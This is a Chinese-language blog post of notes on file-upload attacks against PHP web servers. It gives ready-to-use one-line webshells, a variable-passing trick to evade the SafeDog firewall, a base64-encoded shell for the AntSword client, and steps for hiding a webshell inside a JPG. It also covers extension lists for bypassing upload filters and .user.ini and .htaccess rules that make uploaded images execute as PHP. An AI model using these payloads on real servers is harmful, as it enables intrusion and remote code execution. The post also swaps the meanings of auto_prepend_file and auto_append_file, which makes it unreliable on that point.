文件上传
一句话木马制作
正常:
<?php
@eval($_POST['x']);
?>
如果有<?过滤,采用:
<script language="php">eval($_REQUEST[x])</script>
一种简单的绕安全狗方法:变量传递
<?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b($_POST['z']);
传入方法:http://php?x=b&y=assert
post:z=phpinfo();
问:为什么这里不用eval
因为eval赋值给b没有效果的。
对传入数据进行加密
<?php assert(base64_decode($_POST['x']));?>
当这种情况用蚁剑连接时,需要采用base64加密。
图片马制作
1.首先图片命名111.jpg
2.再新建222.asp文件,一句话木马写入
3.然后win+R,cmd,cd到之前图片的目录路径下,命令为copy 111.jpg/b+222.asp/a 333.jpg
最后就会出现新的图片3333.jpg,就是制作出的图片马。
文件上传之后缀替换
php2,php3、php4、php5,pht,phtml,phps
.JPEG;.JPE;.JPG,”JPGGraphic File”
.gif,”GIF89A”
.zip,”Zip Compressed”
.doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
user.ini
.user.ini。
利用条件:含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了
它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。我的nginx服务器全部是fpm/fastcgi,我的IIS php5.3以上的全部用的fastcgi/cgi,我win下的apache上也用的fcgi,可谓很广,不像.htaccess有局限性。
CGI全称”通用网关接口”(Common Gateway Interface),用于HTTP服务器与其它机器上的程序服务通信交流的一种工具,CGI程序须运行在网络服务器上
FastCGI是一个可伸缩地、高速地在HTTP服务器和动态脚本语言间通信的接口(FastCGI接口在Linux下是socket(可以是文件socket,也可以是ip socket)),主要优点是把动态语言和HTTP服务器分离开来。多数流行的HTTP服务器都支持FastCGI,包括Apache、Nginx和lightpd。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)
实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的
auto_append_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数
auto_prepend_file 是在文件后面包含
使用方法很简单,直接写在.user.ini中:
auto_prepend_file=01.gif
htaccess
针对apache
文件后缀为 .htaccess
保存类型为所有文件
上传.htaccess 必须是网站根路径
让png解析为php
可以在.htaccess 加入php解析规则
类似于把文件名包含1的解析成php
<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>
123456.png 就会以php执行
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 sakura的博客!